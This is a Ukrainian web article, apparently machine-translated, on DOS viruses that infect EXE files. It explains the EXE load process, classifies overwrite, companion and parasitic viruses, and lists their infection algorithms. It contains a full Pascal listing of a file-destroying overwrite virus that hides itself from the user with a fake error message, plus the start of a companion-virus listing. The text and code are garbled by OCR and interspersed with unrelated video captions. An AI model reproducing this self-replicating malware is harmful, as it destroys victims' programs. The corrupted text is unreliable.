Що таке exe- віруси методи боротьби з ними.

У цій статті розказано про віруси, заражають ЕХЕ-файли. Наведено класифікацію таких вірусів, детально розглянуті алгоритми їх роботи, відмінності між ними достоїнства і недоліки.

віруси - це гарна гімнастика для розуму, хоча багато хто думає, що написати вірус на мові високого рівня досить важко. Це не зовсім так. Писати на мові Pascal досить легко, правда величина отриманого коду викликає побожний трепет.

Для кожного типу вірусів представлені вихідні тексти з докладними комментаріямі.Также наведені основні відомості про структуру та принципи роботи ЕХЕ-програми.

СОМ-файли (Невеликі програми, написані в основному на мові Assembler) повільно, але вірно застарівають. Їм на зміну приходять лякають своїми розмірами ЕХЕ«Монстри». З`явилися і віруси, які вміють заражати ЕХЕ-файли.

Структура і процес завантаження ЕХЕ-програми

На відміну від СОМ-програм, ЕХЕ-програми можуть складатися з декількох сегментів (кодів, даних, стека). Вони можуть займати більше 64Кбайт.ЕХЕ-файл має заголовок, який використовується при його загрузке.Заголовок складається з форматованої частини, що містить сигнатуру і дані, необхідні для завантаження ЕХЕ-файлу, і таблиці для настройки адрес (Relocation Table). Таблиця складається з значень в форматі сегмент: зсув. До зсувів в завантажувальному модулі, на які вказують значення в таблиці, після завантаження програми в пам`ять повинен бути доданий сегментна адреса, з якого завантажена програма.

При запуску ЕХЕ-програми системним завантажувачем (викликом функції DOS 4Bh) виконуються наступні дії:

1. Визначається сегментний адреса вільної ділянки пам`яті, розмір

якого достатній для розміщення програми.

2.Создать і заповнюється блок пам`яті для змінних середовища.

3.Создается блок пам`яті для PSP і програми (сегментЮОООЬ - PSP-

сегмент + ООЮЬЮОООЬ - програма).

В поля PSP заносяться відповідні значення.

4.Адрес DTA встановлюється рівним PSP: 0080h.

5. У робочу область завантажувача зчитується Форматована частина

заголовка ЕХЕ-файлу.

6.Вичісляется довжина завантажувального модуля за формулою:

Si7.e = ((PageCnt * 5i2) - (HdrSae * i6)) - Pa! TP3ig.

7.Определяется зміщення завантажувального модуля у файлі, рівне

HdrSize * 16.

8.Вичісляется сегментна адреса (START_SEG) для завантаження-зазвичай це PSP + lOh.

9.Счітивается в пам`ять завантажувальний модуль (починаючи з адреси

START_SEG: 0000).

Відео: 3. Боротьба і методи захисту від комп`ютерних вірусів

10. Для кожного входу таблиці налаштування:

a) читаються слова I_OFF і I_SEG-

b) обчислюється RELC ^ SEG-START ^ SEG + LSEG-

c) читається слово за адресою RELO_SEG: I_OFF-

d) до прочитаного слову додається START_SEG-

e) результат запам`ятовується за тією ж адресою (RELO_SEG: I_OFF).

11.Распределяется пам`ять для програми відповідно до Махмет

і МтМет.

12.Ініціалізіруются регістри, виконується програма:

a) ES = DS ° PSP-

b) АХ = результат перевірки правильності ідентифікаторів драйверів, зазначених у командному строке-

c) SS ° START_SEG + ReloSS, SP-ExeSP-

d) CS = START_SEG + ReloCS, IP = ExeIP.

Класифікація ЕХЕ-вірусів

ЕХЕ-віруси умовно можна розділити на групи, використовуючи як ознаки для поділу особливості алгоритму. віруси, заміщають програмний код (Overwrite) Такі віруси вже стали раритетом. Головний їх недолік - занадто груба робота. Інфіковані програми не виконуються, так як вірус записується поверх програмного коду, без збереження його. При запуску вірус шукає чергову жертву (або жертви), відкриває знайдений файл для редагування і записує своє тіло в початок програми без збереження оригінальний код. інфіковані цими вірусами програми лікуванню не підлягають.

Віруси-супутники (Companion)

ці віруси отримали свою назву через алгоритму розмноження:

до кожного інфікованого файлу створюється файл-супутник. Розглянемо більш докладно два типи вірусів цієї групи:

віруси першого типу розмножується в такий спосіб. Для кожного инфицируемого ЕХЕ-файлу в тому ж каталозі створюється файл з вірусним кодом, який має таке ж ім`я, що і ЕХЕ-файл, але з розширенням СОМ. вірус активується, якщо при запуску програми в командному рядку зазначено лише ім`я виконуваного файлу. Справа в тому, що, якщо не вказано розширення файлу, DOS спочатку шукає в поточному каталозі файл із заданим ім`ям і розширенням СОМ. якщо СОМ-файл з таким ім`ям не знайдений, ведеться пошук однойменного ЕХЕ-файлу. Якщо не знайдений і ЕХЕ-файл, DOS спробує виявити ВАТ (Пакетний) файл. У разі відсутності в поточному каталозі виконуваного файлу з вказаним ім`ям пошук ведеться у всіх каталогах, доступних по змінній PATH. Іншими словами, коли користувач хоче запустити програму і набирає в командному рядку тільки її ім`я (В основному так все і роблять), першим управління отримує вірус,код якого знаходиться в СОМ-файлі. він створює СОМ-файл ще до одного або декількох ЕХЕ-файлів (Поширюється), а потім виконує ЕХЕ-файл з зазначеним в командної рядку ім`ям. Користувач ж думає, що працює тільки запущена ЕХЕ-програма.

Вірус-супутник знешкодити досить просто - достатньо видалити

СОМ-файл.

віруси другого типу діють більш тонко. ім`я инфицируемого

ЕХЕ-файлу залишається колишнім, а розширення замінюється будь-яким

іншим, відмінним від виконуваного (СОМ, ЕХЕ і ВАТ), Наприклад,

файл може отримати розширення DAT (Файл даних) або OVL (про-

програмний оверлей). Потім на місце ЕХЕ-файлу копіюється вірусний код. При запуску такої інфікованої програми управління отримує вірусний код, що знаходиться в ЕХЕ-файлі. Інфікувавши ще один або кілька ЕХЕ-файлів таким же чином, вірус повертає оригінальному файлу який виконувався розширення (але не EХЕ, а СОМ, оскільки ЕХЕ-файл з таким ім`ям зайнятий вірусом), після чого виконує його. Коли робота інфікованої програми закінчена, її запускаємо файл повертається розширення неісполняемих. лікування файлів, заражених вірусом цього типу, може бути ускладнене, якщо вірус-супутник шифрує частину або все тіло инфицируемого файлу, а перед виконанням його розшифровує.

віруси, впроваджуються в програму (Parasitic) віруси цього виду самі непомітні: їх код записується в інфіковані програму, що істотно ускладнює лікування заражених файлів. Розглянемо методи впровадження ЕХЕ-вірусів в ЕХЕ-файл.

Способи зараження ЕХЕ-файлів

Найпоширеніший спосіб зараження ЕХЕ-файлів такий: в кінець файлу дописується тіло вірусу, а заголовок коригується (зі збереженням оригінального) так, щоб при запуску інфікованого файлу управління отримував вірус. Схоже на зараження СОМ-файлів, але замість завдання в коді переходу в початок вірусу коригується власне адресу точки запуску програми. Після закінчення роботи вірус бере з збереженого заголовка оригінальний адреса запуску програми, додає до його сегментної компоненті значення регістра DS або ES (отримане при старті вірусу) і передає управління на отриманий адресу.

наступний спосіб - впровадження вірусу в початок файлу із зсувом коду

програми. Механізм зараження такий: тіло инфицируемой програми зчитується в пам`ять, на її місце записується вірусний код, а після нього - код инфицируемой програми. Таким чином, код програми як би «зсувається» в файлі на довжину коду вірусу. Звідси і назва способу - «спосіб зсуву». При запуску інфікованого файлу вірус заражає ще один або кілька файлів. Після цього він зчитує в пам`ять код програми, записує його в спеціально створений на диску тимчасовий файл з розширенням виконуваного файлу (СОМ або ЕХЕ), І потім виконує цей файл. Коли програма закінчила роботу, тимчасовий файл видаляється. Якщо при створенні вірусу не застосовувалося додаткових прийомів захисту, то вилікувати інфікований файл дуже просто - достатньо видалити код вірусу на початку файлу, і програма знову буде працездатною. Недолік цього методу в тому, що доводиться зчитувати в пам`ять весь код інфіковані програми (а адже бувають екземпляри розміром більше 1 Мбайт).

Наступний спосіб зараження файлів - метод перенесення - по всій видимості, є найдосконалішим з усіх перерахованих. вірус розмножується в такий спосіб: при запуску інфікованої програми тіло вірусу з неї зчитується в пам`ять. Потім ведеться пошук неінфікованих програми. На згадку зчитується її початок, по довжині рівну тілу вірусу. На це місце записується тіло вірусу.Початок програми з пам`яті дописується в кінець файлу. Звідси назва методу - «метод перенесення». Після того як вірус інфікував один або кілька файлів, він приступає до виконання програми, з якої запустився. Для цього він зчитує початок інфікованої програми, збережене в кінці файлу, і записує його в початок файлу, відновлюючи працездатність програми. потім вірус видаляє код початку програми з кінця файлу, відновлюючи оригінальну довжину файлу, і виконує програму. Після завершення програми вірус знову записує свій код в початок файлу, а оригінальне початок програми - в кінець. Цим методом можуть бути інфіковані навіть антивіруси, які перевіряють свій код на цілісність, так як запускається вірусом програма має в точності такий же код, як і до інфікування.

Відео: Віруси і боротьба з ними

віруси, заміщають програмний код (Overwrite) Як уже говорилося, цей вид вірусів вже давно мертвий. Зрідка з`являються ще такі віруси, створені на мові Assembler, але це, скоріше, змагання в написанні самого маленького overwrite-вірусу. На даний момент найменший з відомих overwrite-вірусів написаний Reminder`ом (Death Virii Crew group) і займає 22 байта.

Алгоритм роботи overwrite-вірусу наступний:

1. Відкрити файл, з якого вірус отримав управління.

2. Вважати в буфер код вірусу.

3. Закрити файл.

4. Шукати за маскою відповідний для зараження файл.

5. Якщо файлів більше не знайдено, перейти до пункту 11.

6. Відкрити знайдений файл.

7. Перевірити, не заражений знайдений файл цим вірусом.

8. Якщо файл заражений, перейти до пункту 10.

9. Записати в початок файлу код вірусу.

10. Закрити файл (за бажанням можна заразити від одного до всіх фай-

лов в каталозі або на диску).

11. Видати на екран якесь повідомлення про помилку, наприклад «Abnormal program termination» або «Not enough memory», - нехай користувач не дуже дивується з того, що програма не відкривається.

12. Завершити програму.

Нижче наведено лістинг програми, що заражає файли таким способом.

{$ М 2048, 0, 0}

{$ А-}

{$ В-}

{$ D-}

{$ Е +}

($ F-)

($ G-}

($! -}

{$ L-}

{$ N-}

{$ S-} /

{$ V-}

{$ X +}

{Використовуються модулі DOS і System (модуль System автоматично підключається до кожної програми при компіляції)}



Uses DOS-

Const

(Ім`я вірусу}

VirName = `Pain`-

{Рядок для перевірки на повторне зараження.

Вона дописується в заражає файл відразу після коду вірусу}

VirLabel: String [5] = `Pain! 1

{Довжина одержуваного при компіляції ЕХЕ-файлу}

VirLen = 4208-

Author = `Dirty Nazi / SGWW .`-

{Кількість заражаються за один сеанс роботи файлів}

lnfCount = 2

Var

{Масив для визначення наявності копії вірусу в знайденому файлі}

Virldentifier: Array [1.5] of Char-

{Файлова змінна для роботи з файлами}

Відео: Користь дубильних речовин в боротьбі з вірусамі.Метод Огулова А.Т. ogulov-ural.ru 2/39

VirBody: File-

(Ще одна файлова змінна - хоча без неї можна було обійтися, так буде зрозуміліше)

Target: File-

{Для імені знайденого файлу)

TargetFile: PathStr-

(Буфер для тіла вірусу)

VirBuf: Array [-I.VirLen] of Char-

(Для дати / часу файлу)

Time: Longint-

(Лічильник кількості інфікованих файлів)

InfFiles: Byte-

Dirlnfo: SearchRec-

LabelBuf: Array [1.5] of Char-

(Ініціалізація)

procedure Init-

begin

LabelBuf [1]: = VirLabel [1] -

LabelBuf [2]: = VirLabel [2] -

LabelBuf [3]: = VirLabel [3],

LabelBuf [4]: = VirLabel [4] -

LabelBuf [5]: = VirLabel [5] -

(Обнуляємо лічильник кількості інфікованих файлів}

lnfFiles: = 0-

(Зв`язуємо файлову змінну VirBody з ім`ям програми з якої стартували)

Assign (VirBody, ParamStr (O)) -

(Відкриваємо файл з recsize = 1 байту)

Reset (VirBody, 1) -

(Прочитуємо з файлу тіло вірусу в масив VirBuf}

BlockRead (VirBody VirBuf, VirLen) -

(Закриваємо файл)

Close (VirBody) -

end-

(Пошук жертви}

procedure FindTarget-

Var

Sr: SearchRec-

(Функція повертає True, якщо знайдена програма вже заражена, і False, якщо ще немає}

function VirusPresent: Boolean-

begin

(Поки будемо вважати, що вірусу немає}

VirusPresent: = False-

(Відкриваємо знайдений файл}

Assign (Target, TargetFile) -

Reset (Target, 1) -

(Переміщаємося на довжину тіла вірусу від початку файла}

Seek (Target, VirLen) -

(Прочитуємо 5 байт - якщо файл вже заражений, там знаходиться мітка вірусу}

BlockRead (Target, Virldentifier, 5) -

If Virldentifier = Virl_abel Then

{Якщо мітка є, значить є і вірус}

VirusPresent: = True-

end-

(Процедура зараження}

procedure InfectFile-

begin

{Якщо розмір знайденого файлу менше, ніж довжина вірусу плюс 100 байт, то виходимо з процедури}

Відео: Стійкість вірусів - Георгій Базикін

If Sr.Size < VirLen+100 Then Exit-

Якщо знайдена програма ще не заражена, інфікуючи її}

If Not VirusPresent Then

begin

{Запам`ятаємо дату і час файлу. Атрибути запам`ятовувати не треба, так як пошук ведеться серед файлів з атрибутом Archive, а цей атрибут станавливаются на файл після збереження в будь-якому випадку}

Time: = Sr.Time-

{Відкриваємо для зараження}

Assign (Target, TargetFile) -

Reset (Target, 1) -

{Записуючи тіло вірусу в початок файлу}

BlockWrite (Target, VirBuf, VirLen) -

{Переміщаємо покажчик поточної позиції а довжину вірусу від початку файла}

Seek (Target, VirLen) -

{Вписуємо мітку зараження}

BlockWrite (Target, LabelBuf, 5) -

{Встановлюємо дату і час файлу}

SetFTime (Target, Time) -

{Закриваємо}

Close (Target) -

{Збільшуємо лічильник інфікованих файлів}

Inc (lnfFiles) -

end-

end-

{Початок процедури FindTarget}

begin

{Шукаємо в поточному каталозі файли по масці *.ЕХЕ

з атрибутами Archive}

FindFirstF.EXE `, Archive, Sr) -

{Поки є файли для зараження}

While DosError = 0 Do

begin

If Sr.Name = "Then Exit-

(Запам`ятовуємо ім`я знайденого файлу в змінну TargetFile}

TargetFile: = Sr.Name-

{Викликаємо процедуру зараження}

InfectFile-

{Якщо заразили InfCount файлів, завершуємо пошук}

If InfFiles> InfCount Then Exit-

{Шукаємо наступний файл масці}

FindNext (Sr) -

end-

end-

{Основне тіло}

begin

(Ініціалізувавши}

hit-

{Шукаємо жертви і заражаємо їх}

FindTarget-

{Видаємо на екран повідомлення про помилку}

WriteLn ( `Abnormal program termination.`) -

{Це щоб компілятор вставив в код константи VirName і Author, умова ж поставлено таким чином, що ці рядки ніколи не будуть виведені на екран}

If 2 = 3 Then

begin

WriteLn (VirName) -

WriteLn (Author) -

end-

end.

Віруси-супутники (Companion)

Віруси-супутники Зараз широко поширені - співвідношення companion і parasitic вірусів приблизно один до двум.Інфіцірованіе методом створення СОМ-файлу супутника Сенс цього методу - не чіпаючи «чужого кота» (ЕХЕ-програму), Створити «свого» - СОМ-файл з ім`ям ЕХЕ-програми. Алгоритм роботи такого вірусу гранично простий, так як відпадає необхідність зайвих дій (наприклад, збереження в тілі вірусу довжини відкомпільованого ЕХЕ-файлу з вірусним кодом, зчитування в буфер тіла вірусу, запуску файлу, з якого вірус отримав управління). Нема чого навіть зберігати позначку для визначення інфікування файлу.

Зараження відбувається за допомогою командного процесора:

1.Якщо в командному рядку вказані параметри, зберегти їх в змінну типу String для передачі інфікованої програмі.

2.Найті ЕХЕ-файл-жертву.

3.Проверіть, не присутній чи в каталозі з знайденим ЕХЕ-файлом СОМ-файл з таким же ім`ям, як у файлу-жертви.

4. Якщо такий СОМ-файл присутній, файл вже заражений, переходимо

до пункту 6.

5. За допомогою командного процесора скопіювати файл, з якого

отримано управління, в файл з ім`ям жертви і розширенням СОМ.

6.Процедурой Ехес завантажити і виконати файл з ім`ям стартового, але з розширенням ЕХЕ - тобто виконати інфіковану програму.

7. Повернути управління в DOS.

Наведений нижче лістинг показує зараження файлів цим

методом.

($ М 2048, 0, 0}

f $ A-}

<$В-«

($ D-}

<$Е+1

{$ F-}

{$ G-}

{$! -}

$ L- (

{$ N-)

{$ S-}

<$V-}

{$ X +}

(Використовуються модулі DOS і System (модуль System автоматично

підключається до кожної програми при компіляції)}

Uses DOS-

Const

{Ім`я вірусу)

VirName = `Guesf-

Author = `Dirty Nazi / SGWW. 4 PVT only! `-

{Кількість заражених за один сеанс роботи файлів}

lnfCount = 2

Var

{Для імені знайденого файлу)

TargetFile: PathStr-

P.P.S. Якщо у Вас є питання, бажання прокоментувати або поділитися досвідом, напишіть, будь ласка, в коментарях нижче.

Поділися в соц мережах:
Cхоже

Увага, тільки СЬОГОДНІ!